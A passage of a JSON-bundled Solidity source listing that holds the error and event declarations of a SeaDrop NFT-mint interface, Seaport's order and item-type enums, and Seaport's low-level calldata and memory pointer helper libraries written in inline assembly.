@dev Revert with an error if a payer is already included in mapping\n * when adding.\n */\n error DuplicatePayer();\n\n /**\n * @dev Revert with an error if a signer is already included in mapping\n * when adding.\n */\n error DuplicateSigner();\n\n /**\n * @dev Revert with an error if the payer is not allowed. The minter must\n * pay for their own mint.\n */\n error PayerNotAllowed(address got);\n\n /**\n * @dev Revert if a supplied payer address is the zero address.\n */\n error PayerCannotBeZeroAddress();\n\n /**\n * @dev Revert if the start time is greater than the end time.\n */\n error InvalidStartAndEndTime(uint256 startTime, uint256 endTime);\n\n /**\n * @dev Revert with an error if the signer payment token is not the same.\n */\n error InvalidSignedPaymentToken(address got, address want);\n\n /**\n * @dev Revert with an error if supplied signed mint price is less than\n * the minimum specified.\n */\n error InvalidSignedMintPrice(\n address paymentToken,\n uint256 got,\n uint256 minimum\n );\n\n /**\n * @dev Revert with an error if supplied signed maxTotalMintableByWallet\n * is greater than the maximum specified.\n */\n error InvalidSignedMaxTotalMintableByWallet(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed\n * maxTotalMintableByWalletPerToken is greater than the maximum\n * specified.\n */\n error InvalidSignedMaxTotalMintableByWalletPerToken(\n uint256 got,\n uint256 maximum\n );\n\n /**\n * @dev Revert with an error if the fromTokenId is not within range.\n */\n error InvalidSignedFromTokenId(uint256 got, uint256 minimum);\n\n /**\n * @dev Revert with an error if the toTokenId is not within range.\n */\n error InvalidSignedToTokenId(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed start time is less than\n * the minimum specified.\n */\n error InvalidSignedStartTime(uint256 got, uint256 minimum);\n\n /**\n * @dev Revert with an error if supplied signed end time is greater than\n * the maximum specified.\n */\n error InvalidSignedEndTime(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed maxTokenSupplyForStage\n * is greater than the maximum specified.\n */\n error InvalidSignedMaxTokenSupplyForStage(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed feeBps is greater than\n * the maximum specified, or less than the minimum.\n */\n error InvalidSignedFeeBps(uint256 got, uint256 minimumOrMaximum);\n\n /**\n * @dev Revert with an error if signed mint did not specify to restrict\n * fee recipients.\n */\n error SignedMintsMustRestrictFeeRecipients();\n\n /**\n * @dev Revert with an error if a signature for a signed mint has already\n * been used.\n */\n error SignatureAlreadyUsed();\n\n /**\n * @dev Revert with an error if the contract has no balance to withdraw.\n */\n error NoBalanceToWithdraw();\n\n /**\n * @dev Revert with an error if the caller is not an allowed Seaport.\n */\n error InvalidCallerOnlyAllowedSeaport(address caller);\n\n /**\n * @dev Revert with an error if the order does not have the ERC1155 magic\n * consideration item to signify a consecutive mint.\n */\n error MustSpecifyERC1155ConsiderationItemForSeaDropMint();\n\n /**\n * @dev Revert with an error if the extra data version is not supported.\n */\n error UnsupportedExtraDataVersion(uint8 version);\n\n /**\n * @dev Revert with an error if the extra data encoding is not supported.\n */\n error InvalidExtraDataEncoding(uint8 version);\n\n /**\n * @dev Revert with an error if the provided substandard is not supported.\n */\n error InvalidSubstandard(uint8 substandard);\n\n /**\n * @dev Revert with an error if the implementation contract is called without\n * delegatecall.\n */\n error OnlyDelegateCalled();\n\n /**\n * @dev Revert with an error if the provided allowed Seaport is the\n * zero address.\n */\n error AllowedSeaportCannotBeZeroAddress();\n\n /**\n * @dev Emit an event when allowed Seaport contracts are updated.\n */\n event AllowedSeaportUpdated(address[] allowedSeaport);\n\n /**\n * @dev An event with details of a SeaDrop mint, for analytical purposes.\n *\n * @param payer The address who payed for the tx.\n * @param dropStageIndex The drop stage index. Items minted through\n * public mint have dropStageIndex of 0\n */\n event SeaDropMint(address payer, uint256 dropStageIndex);\n\n /**\n * @dev An event with updated allow list data.\n *\n * @param previousMerkleRoot The previous allow list merkle root.\n * @param newMerkleRoot The new allow list merkle root.\n * @param publicKeyURI If the allow list is encrypted, the public key\n * URIs that can decrypt the list.\n * Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n */\n event AllowListUpdated(\n bytes32 indexed previousMerkleRoot,\n bytes32 indexed newMerkleRoot,\n string[] publicKeyURI,\n string allowListURI\n );\n\n /**\n * @dev An event with updated drop URI.\n */\n event DropURIUpdated(string newDropURI);\n\n /**\n * @dev An event with the updated creator payout address.\n */\n event CreatorPayoutsUpdated(CreatorPayout[] creatorPayouts);\n\n /**\n * @dev An event with the updated allowed fee recipient.\n */\n event AllowedFeeRecipientUpdated(\n address indexed feeRecipient,\n bool indexed allowed\n );\n\n /**\n * @dev An event with the updated signer.\n */\n event SignerUpdated(address indexed signer, bool indexed allowed);\n\n /**\n * @dev An event with the updated payer.\n */\n event PayerUpdated(address indexed payer, bool indexed allowed);\n}\n"
},
"lib/seaport/lib/seaport-types/src/lib/ConsiderationEnums.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nenum OrderType {\n // 0: no partial fills, anyone can execute\n FULL_OPEN,\n\n // 1: partial fills supported, anyone can execute\n PARTIAL_OPEN,\n\n // 2: no partial fills, only offerer or zone can execute\n FULL_RESTRICTED,\n\n // 3: partial fills supported, only offerer or zone can execute\n PARTIAL_RESTRICTED,\n\n // 4: contract order type\n CONTRACT\n}\n\nenum BasicOrderType {\n // 0: no partial fills, anyone can execute\n ETH_TO_ERC721_FULL_OPEN,\n\n // 1: partial fills supported, anyone can execute\n ETH_TO_ERC721_PARTIAL_OPEN,\n\n // 2: no partial fills, only offerer or zone can execute\n ETH_TO_ERC721_FULL_RESTRICTED,\n\n // 3: partial fills supported, only offerer or zone can execute\n ETH_TO_ERC721_PARTIAL_RESTRICTED,\n\n // 4: no partial fills, anyone can execute\n ETH_TO_ERC1155_FULL_OPEN,\n\n // 5: partial fills supported, anyone can execute\n ETH_TO_ERC1155_PARTIAL_OPEN,\n\n // 6: no partial fills, only offerer or zone can execute\n ETH_TO_ERC1155_FULL_RESTRICTED,\n\n // 7: partial fills supported, only offerer or zone can execute\n ETH_TO_ERC1155_PARTIAL_RESTRICTED,\n\n // 8: no partial fills, anyone can execute\n ERC20_TO_ERC721_FULL_OPEN,\n\n // 9: partial fills supported, anyone can execute\n ERC20_TO_ERC721_PARTIAL_OPEN,\n\n // 10: no partial fills, only offerer or zone can execute\n ERC20_TO_ERC721_FULL_RESTRICTED,\n\n // 11: partial fills supported, only offerer or zone can execute\n ERC20_TO_ERC721_PARTIAL_RESTRICTED,\n\n // 12: no partial fills, anyone can execute\n ERC20_TO_ERC1155_FULL_OPEN,\n\n // 13: partial fills supported, anyone can execute\n ERC20_TO_ERC1155_PARTIAL_OPEN,\n\n // 14: no partial fills, only offerer or zone can execute\n ERC20_TO_ERC1155_FULL_RESTRICTED,\n\n // 15: partial fills supported, only offerer or zone can execute\n ERC20_TO_ERC1155_PARTIAL_RESTRICTED,\n\n // 16: no partial fills, anyone can execute\n ERC721_TO_ERC20_FULL_OPEN,\n\n // 17: partial fills supported, anyone can execute\n ERC721_TO_ERC20_PARTIAL_OPEN,\n\n // 18: no partial fills, only offerer or zone can execute\n ERC721_TO_ERC20_FULL_RESTRICTED,\n\n // 19: partial fills supported, only offerer or zone can execute\n ERC721_TO_ERC20_PARTIAL_RESTRICTED,\n\n // 20: no partial fills, anyone can execute\n ERC1155_TO_ERC20_FULL_OPEN,\n\n // 21: partial fills supported, anyone can execute\n ERC1155_TO_ERC20_PARTIAL_OPEN,\n\n // 22: no partial fills, only offerer or zone can execute\n ERC1155_TO_ERC20_FULL_RESTRICTED,\n\n // 23: partial fills supported, only offerer or zone can execute\n ERC1155_TO_ERC20_PARTIAL_RESTRICTED\n}\n\nenum BasicOrderRouteType {\n // 0: provide Ether (or other native token) to receive offered ERC721 item.\n ETH_TO_ERC721,\n\n // 1: provide Ether (or other native token) to receive offered ERC1155 item.\n ETH_TO_ERC1155,\n\n // 2: provide ERC20 item to receive offered ERC721 item.\n ERC20_TO_ERC721,\n\n // 3: provide ERC20 item to receive offered ERC1155 item.\n ERC20_TO_ERC1155,\n\n // 4: provide ERC721 item to receive offered ERC20 item.\n ERC721_TO_ERC20,\n\n // 5: provide ERC1155 item to receive offered ERC20 item.\n ERC1155_TO_ERC20\n}\n\nenum ItemType {\n // 0: ETH on mainnet, MATIC on polygon, etc.\n NATIVE,\n\n // 1: ERC20 items (ERC777 and ERC20 analogues could also technically work)\n ERC20,\n\n // 2: ERC721 items\n ERC721,\n\n // 3: ERC1155 items\n ERC1155,\n\n // 4: ERC721 items where a number of tokenIds are supported\n ERC721_WITH_CRITERIA,\n\n // 5: ERC1155 items where a number of ids are supported\n ERC1155_WITH_CRITERIA\n}\n\nenum Side {\n // 0: Items that can be spent\n OFFER,\n\n // 1: Items that must be received\n CONSIDERATION\n}\n"
},
"lib/seaport/lib/seaport-types/src/helpers/PointerLibraries.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ntype CalldataPointer is uint256;\n\ntype ReturndataPointer is uint256;\n\ntype MemoryPointer is uint256;\n\nusing CalldataPointerLib for CalldataPointer global;\nusing MemoryPointerLib for MemoryPointer global;\nusing ReturndataPointerLib for ReturndataPointer global;\n\nusing CalldataReaders for CalldataPointer global;\nusing ReturndataReaders for ReturndataPointer global;\nusing MemoryReaders for MemoryPointer global;\nusing MemoryWriters for MemoryPointer global;\n\nCalldataPointer constant CalldataStart = CalldataPointer.wrap(0x04);\nMemoryPointer constant FreeMemoryPPtr = MemoryPointer.wrap(0x40);\nuint256 constant IdentityPrecompileAddress = 0x4;\nuint256 constant OffsetOrLengthMask = 0xffffffff;\nuint256 constant _OneWord = 0x20;\nuint256 constant _FreeMemoryPointerSlot = 0x40;\n\n/// @dev Allocates `size` bytes in memory by increasing the free memory pointer\n/// and returns the memory pointer to the first byte of the allocated region.\n// (Free functions cannot have visibility.)\n// solhint-disable-next-line func-visibility\nfunction malloc(uint256 size) pure returns (MemoryPointer mPtr) {\n assembly {\n mPtr := mload(_FreeMemoryPointerSlot)\n mstore(_FreeMemoryPointerSlot, add(mPtr, size))\n }\n}\n\n// (Free functions cannot have visibility.)\n// solhint-disable-next-line func-visibility\nfunction getFreeMemoryPointer() pure returns (MemoryPointer mPtr) {\n mPtr = FreeMemoryPPtr.readMemoryPointer();\n}\n\n// (Free functions cannot have visibility.)\n// solhint-disable-next-line func-visibility\nfunction setFreeMemoryPointer(MemoryPointer mPtr) pure {\n FreeMemoryPPtr.write(mPtr);\n}\n\nlibrary CalldataPointerLib {\n function lt(\n CalldataPointer a,\n CalldataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := lt(a, b)\n }\n }\n\n function gt(\n CalldataPointer a,\n CalldataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := gt(a, b)\n }\n }\n\n function eq(\n CalldataPointer a,\n CalldataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := eq(a, b)\n }\n }\n\n function isNull(CalldataPointer a) internal pure returns (bool b) {\n assembly {\n b := iszero(a)\n }\n }\n\n /// @dev Resolves an offset stored at `cdPtr + headOffset` to a calldata.\n /// pointer `cdPtr` must point to some parent object with a dynamic\n /// type's head stored at `cdPtr + headOffset`.\n function pptr(\n CalldataPointer cdPtr,\n uint256 headOffset\n ) internal pure returns (CalldataPointer cdPtrChild) {\n cdPtrChild = cdPtr.offset(\n cdPtr.offset(headOffset).readUint256() & OffsetOrLengthMask\n );\n }\n\n /// @dev Resolves an offset stored at `cdPtr` to a calldata pointer.\n /// `cdPtr` must point to some parent object with a dynamic type as its\n /// first member, e.g. `struct { bytes data; }`\n function pptr(\n CalldataPointer cdPtr\n ) internal pure returns (CalldataPointer cdPtrChild) {\n cdPtrChild = cdPtr.offset(cdPtr.readUint256() & OffsetOrLengthMask);\n }\n\n /// @dev Returns the calldata pointer one word after `cdPtr`.\n function next(\n CalldataPointer cdPtr\n ) internal pure returns (CalldataPointer cdPtrNext) {\n assembly {\n cdPtrNext := add(cdPtr, _OneWord)\n }\n }\n\n /// @dev Returns the calldata pointer `_offset` bytes after `cdPtr`.\n function offset(\n CalldataPointer cdPtr,\n uint256 _offset\n ) internal pure returns (CalldataPointer cdPtrNext) {\n assembly {\n cdPtrNext := add(cdPtr, _offset)\n }\n }\n\n /// @dev Copies `size` bytes from calldata starting at `src` to memory at\n /// `dst`.\n function copy(\n CalldataPointer src,\n MemoryPointer dst,\n uint256 size\n ) internal pure {\n assembly {\n calldatacopy(dst, src, size)\n }\n }\n}\n\nlibrary ReturndataPointerLib {\n function lt(\n ReturndataPointer a,\n ReturndataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := lt(a, b)\n }\n }\n\n function gt(\n ReturndataPointer a,\n ReturndataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := gt(a, b)\n }\n }\n\n function eq(\n ReturndataPointer a,\n ReturndataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := eq(a, b)\n }\n }\n\n function isNull(ReturndataPointer a) internal pure returns (bool b) {\n assembly {\n b := iszero(a)\n }\n }\n\n /// @dev Resolves an offset stored at `rdPtr + headOffset` to a returndata\n /// pointer. `rdPtr` must point to some parent object with a dynamic\n /// type's head stored at `rdPtr + headOffset`.\n function pptr(\n ReturndataPointer rdPtr,\n uint256 headOffset\n ) internal pure returns (ReturndataPointer rdPtrChild) {\n rdPtrChild = rdPtr.offset(\n rdPtr.offset(headOffset).readUint256() & OffsetOrLengthMask\n );\n }\n\n /// @dev Resolves an offset stored at `rdPtr` to a returndata pointer.\n /// `rdPtr` must point to some parent object with a dynamic type as its\n /// first member, e.g. `struct { bytes data; }`\n function pptr(\n ReturndataPointer rdPtr\n ) internal pure returns (ReturndataPointer rdPtrChild) {\n rdPtrChild = rdPtr.offset(rdPtr.readUint256() & OffsetOrLengthMask);\n }\n\n /// @dev Returns the returndata pointer one word after `cdPtr`.\n function next(\n ReturndataPointer rdPtr\n ) internal pure returns (ReturndataPointer rdPtrNext) {\n assembly {\n rdPtrNext := add(rdPtr, _OneWord)\n }\n }\n\n /// @dev Returns the returndata pointer `_offset` bytes after `cdPtr`.\n function offset(\n ReturndataPointer rdPtr,\n uint256 _offset\n ) internal pure returns (ReturndataPointer rdPtrNext) {\n assembly {\n rdPtrNext := add(rdPtr, _offset)\n }\n }\n\n /// @dev Copies `size` bytes from returndata starting at `src` to memory at\n /// `dst`.\n function copy(\n ReturndataPointer src,\n MemoryPointer dst,\n uint256 size\n ) internal pure {\n assembly {\n returndatacopy(dst, src, size)\n }\n }\n}\n\nlibrary MemoryPointerLib {\n function copy(\n MemoryPointer src,\n MemoryPointer dst,\n uint256 size\n ) internal view {\n assembly {\n let success := staticcall(\n gas(),\n IdentityPrecompileAddress,\n src,\n size,\n dst,\n size\n )\n if or(iszero(returndatasize()), iszero(success)) {\n revert(0, 0)\n }\n }\n }\n\n function lt(\n MemoryPointer a,\n MemoryPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := lt(a, b)\n }\n }\n\n function gt(\n MemoryPointer a,\n MemoryPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := gt(a, b)\n }\n }\n\n function eq(\n MemoryPointer a,\n MemoryPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := eq(a, b)\n }\n }\n\n function isNull(MemoryPointer a) internal pure returns (bool b) {\n assembly {\n b := iszero(a)\n }\n }\n\n function hash(\n MemoryPointer ptr,\n uint256 length\n ) internal pure returns (bytes32 _hash) {\n assembly {\n _hash := keccak256(ptr, length)\n }\n }\n\n /// @dev Returns the memory pointer one word after `mPtr`.\n function next(\n MemoryPointer mPtr\n ) internal pure returns (MemoryPointer mPtrNext) {\n assembly {\n mPtrNext := add(mPtr, _OneWord)\n }\n }\n\n /// @dev Returns the memory pointer `_offset` bytes after `mPtr`.\n function offset(\n MemoryPointer mPtr,\n uint256 _offset\n ) internal pure returns (MemoryPointer mPtrNext) {\n assembly {\n mPtrNext := add(mPtr, _offset)\n }\n }\n\n /// @dev Resolves a pointer at `mPtr + headOffset` to a memory\n /// pointer. `mPtr` must point to some parent object with a dynamic\n /// type's pointer stored at `mPtr + headOffset`.\n function pptr(\n MemoryPointer mPtr,\n uint256 headOffset\n ) internal pure returns (MemoryPointer mPtrChild) {\n mPtrChild = mPtr.offset(headOffset).readMemoryPointer();\n }\n\n /// @dev Resolves a pointer stored at `mPtr` to a memory pointer.\n /// `mPtr` must point to some parent object with a dynamic type as its\n /// first member, e.g. `struct { bytes data; }`\n function pptr(\n MemoryPointer mPtr\n ) internal pure returns (MemoryPointer mPtrChild) {\n mPtrChild = mPtr.readMemoryPointer();\n }\n}\n\nlibrary CalldataReaders {\n /// @dev Reads the value at `cdPtr` and applies a mask to return only the\n /// last 4 bytes.\n function readMaskedUint256(\n CalldataPointer cdPtr\n ) internal pure returns (uint256 value) {\n value = cdPtr.readUint256() & OffsetOrLengthMask;\n }\n\n /// @dev Reads the bool at `cdPtr` in calldata.\n function readBool(\n CalldataPointer cdPtr\n ) internal pure returns (bool value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the address at `cdPtr` in calldata.\n function readAddress(\n CalldataPointer cdPtr\n ) internal pure returns (address value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes1 at `cdPtr` in calldata.\n function readBytes1(\n CalldataPointer cdPtr\n ) internal pure returns (bytes1 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes2 at `cdPtr` in calldata.\n function readBytes2(\n CalldataPointer cdPtr\n ) internal pure returns (bytes2 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes3 at `cdPtr` in calldata.\n function readBytes3(\n CalldataPointer cdPtr\n ) internal pure returns (bytes3 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes4 at `cdPtr` in calldata.\n function readBytes4(\n CalldataPointer cdPtr\n ) internal pure returns (bytes4 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes5 at `cdPtr` in calldata.\n function readBytes5(\n CalldataPointer cdPtr\n ) internal pure returns (bytes5 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes6 at `cdPtr` in calldata.\n function readBytes6(\n CalldataPointer cdPtr\n ) internal pure returns (bytes6 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes7 at `cdPtr` in calldata.\n function readBytes7(\n CalldataPointer cdPtr\n ) internal pure returns (bytes7 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes8 at `cdPtr` in calldata.\n function readBytes8(\n CalldataPointer cdPtr\n ) internal pure returns (bytes8 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes9 at `cdPtr` in calldata.\n function readBytes9(\n CalldataPointer cdPtr\n ) internal pure returns (bytes9 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes10 at `cdPtr` in calldata.\n function readBytes10(\n CalldataPointer cdPtr\n ) internal pure returns (bytes10 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes11 at `cdPtr` in calldata.\n function readBytes11(\n CalldataPointer cdPtr\n ) internal pure returns (bytes11 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes12 at `cdPtr` in calldata.\n function readBytes12(\n CalldataPointer cdPtr\n ) internal pure returns (bytes12 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes13 at `cdPtr` in calldata.\n function readBytes13(\n CalldataPointer cdPtr\n ) internal pure returns (bytes13 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes14 at `cdPtr` in calldata.\n function readBytes14(\n CalldataPointer cdPtr\n ) internal pure returns (bytes14 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes15 at `cdPtr` in calldata.\n function readBytes15(\n CalldataPointer cdPtr\n ) internal pure returns (bytes15 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes16 at `cdPtr` in calldata.\n function readBytes16(\n CalldataPointer cdPtr\n ) internal pure returns (bytes16 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes17 at `cdPtr` in calldata.\n function readBytes17(\n CalldataPointer cdPtr\n ) internal pure returns (bytes17 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes18 at `cdPtr` in calldata.\n function readBytes18(\n CalldataPointer cdPtr\n ) internal pure returns (bytes18 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes19 at `cdPtr` in calldata.\n function readBytes19(\n CalldataPointer cdPtr\n ) internal pure returns (bytes19 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes20 at `cdPtr` in calldata.\n function readBytes20(\n CalldataPointer cdPtr\n ) internal pure returns (bytes20 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes21 at `cdPtr` in calldata.\n function readBytes21(\n CalldataPointer cdPtr\n ) internal pure returns (bytes21 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes22 at `cdPtr` in calldata.\n function readBytes22(\n CalldataPointer cdPtr\n ) internal pure returns (bytes22 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes23 at `cdPtr` in calldata.\n function readBytes23(\n CalldataPointer cdPtr\n ) internal pure returns (bytes23 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes24 at `cdPtr` in calldata.\n function readBytes24(\n CalldataPointer cdPtr\n ) internal pure returns (bytes24 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes25 at `cdPtr` in calldata.\n function readBytes25(\n CalldataPointer cdPtr\n ) internal pure returns (bytes25 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes26 at `cdPtr` in calldata.\n function readBytes26(\n CalldataPointer cdPtr\n ) internal pure returns (bytes26 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes27 at `cdPtr` in calldata.\n function readBytes27(\n CalldataPointer cdPtr\n ) internal pure returns (bytes27 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes28 at `cdPtr` in calldata.\n function readBytes28(\n CalldataPointer cdPtr\n ) internal pure returns (bytes28 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes29 at `cdPtr` in calldata.\n function readBytes29(\n CalldataPointer cdPtr\n ) internal pure returns (bytes29 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes30 at `cdPtr` in calldata.\n function readBytes30(\n CalldataPointer cdPtr\n ) internal pure returns (bytes30 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes31 at `cdPtr` in calldata.\n function readBytes31(\n CalldataPointer cdPtr\n ) internal pure returns (bytes31 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes32 at `cdPtr` in calldata.\n function readBytes32(\n CalldataPointer cdPtr\n ) internal pure returns (bytes32 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint8 at `cdPtr` in calldata.\n function readUint8(\n CalldataPointer cdPtr\n ) internal pure returns (uint8 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint16 at `cdPtr` in calldata.\n function readUint16(\n CalldataPointer cdPtr\n ) internal pure returns (uint16 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint24 at `cdPtr` in calldata.\n function readUint24(\n CalldataPointer cdPtr\n ) internal pure returns (uint24 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint32 at `cdPtr` in calldata.\n function readUint32(\n CalldataPointer cdPtr\n ) internal pure returns (uint32 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint40 at `cdPtr` in calldata.\n function readUint40(\n CalldataPointer cdPtr\n ) internal pure returns (uint40 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint48 at `cdPtr` in calldata.\n function readUint48(\n CalldataPointer cdPtr\n ) internal pure returns (uint48 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint56 at `cdPtr` in calldata.\n function readUint56(\n CalldataPointer cdPtr\n ) internal pure returns (uint56 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint64 at `cdPtr` in calldata.\n function readUint64(\n CalldataPointer cdPtr\n ) internal pure returns (uint64 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint72 at `cdPtr` in calldata.\n function readUint72(\n CalldataPointer cdPtr\n ) internal pure returns (uint72 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint80 at `cdPtr` in calldata.\n function readUint80(\n CalldataPointer cdPtr\n ) internal pure returns (uint80 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint88 at `cdPtr` in calldata.\n function readUint88(\n CalldataPointer cdPtr\n ) internal pure returns (uint88 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint96 at `cdPtr` in calldata.\n function readUint96(\n CalldataPointer cdPtr\n ) internal pure returns (uint96 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint104 at `cdPtr` in calldata.\n function readUint104(\n CalldataPointer cdPtr\n ) internal pure returns (uint104 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint112 at `cdPtr` in calldata.\n function readUint112(\n CalldataPointer cdPtr\n ) internal pure returns (uint112 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint120 at `cdPtr` in calldata.\n function readUint120(\n CalldataPointer cdPtr\n ) internal pure returns (uint120 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint128 at `cdPtr` in calldata.\n function readUint128(\n CalldataPointer cdPtr\n ) internal pure returns (uint128 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint136 at `cdPtr` in calldata.\n function readUint136(\n CalldataPointer cdPtr\n ) internal pure returns (uint136 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint144 at `cdPtr` in calldata.\n function readUint144(\n CalldataPointer cdPtr\n ) internal pure returns (uint144 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint152 at `cdPtr` in calldata.\n function readUint152(\n CalldataPointer cdPtr\n ) internal pure returns (uint152 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint160 at `cdPtr` in calldata.\n function readUint160(\n CalldataPointer cdPtr\n ) internal pure returns (uint160 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint168 at `cdPtr` in calldata.\n function readUint168(\n CalldataPointer cdPtr\n ) internal pure returns (uint168 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint176 at `cdPtr` in calldata.\n function readUint176(\n CalldataPointer cdPtr\n ) internal pure returns (uint176 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint184 at `cdPtr` in calldata.\n function readUint184(\n CalldataPointer cdPtr\n ) internal pure returns (uint184 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint192 at `cdPtr` in calldata.\n function readUint192(\n CalldataPointer cdPtr\n ) internal pure returns (uint192 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint200 at `cdPtr` in calldata.\n function readUint200(\n CalldataPointer cdPtr\n ) internal pure returns (uint200 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint208 at `cdPtr` in calldata.\n function readUint208(\n CalldataPointer cdPtr\n ) internal pure returns (uint208 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint216 at `cdPtr` in calldata.\n function readUint216(\n CalldataPointer cdPtr\n ) internal pure returns (uint216 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint224 at `cdPtr` in calldata.\n function readUint224(\n CalldataPointer cdPtr\n ) internal pure returns (uint224 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint232 at `cdPtr` in calldata.\n function readUint232(\n CalldataPointer cdPtr\n ) internal pure returns (uint232 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint240 at `cdPtr` in calldata.\n function readUint240(\n CalldataPointer cdPtr\n ) internal pure returns (uint240 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint248 at `cdPtr` in calldata.\n function readUint248(\n CalldataPointer cdPtr\n ) internal pure returns (uint248 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint256 at `cdPtr` in calldata.\n function readUint256(\n CalldataPointer cdPtr\n ) internal pure returns (uint256 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int8 at `cdPtr` in calldata.\n function readInt8(\n 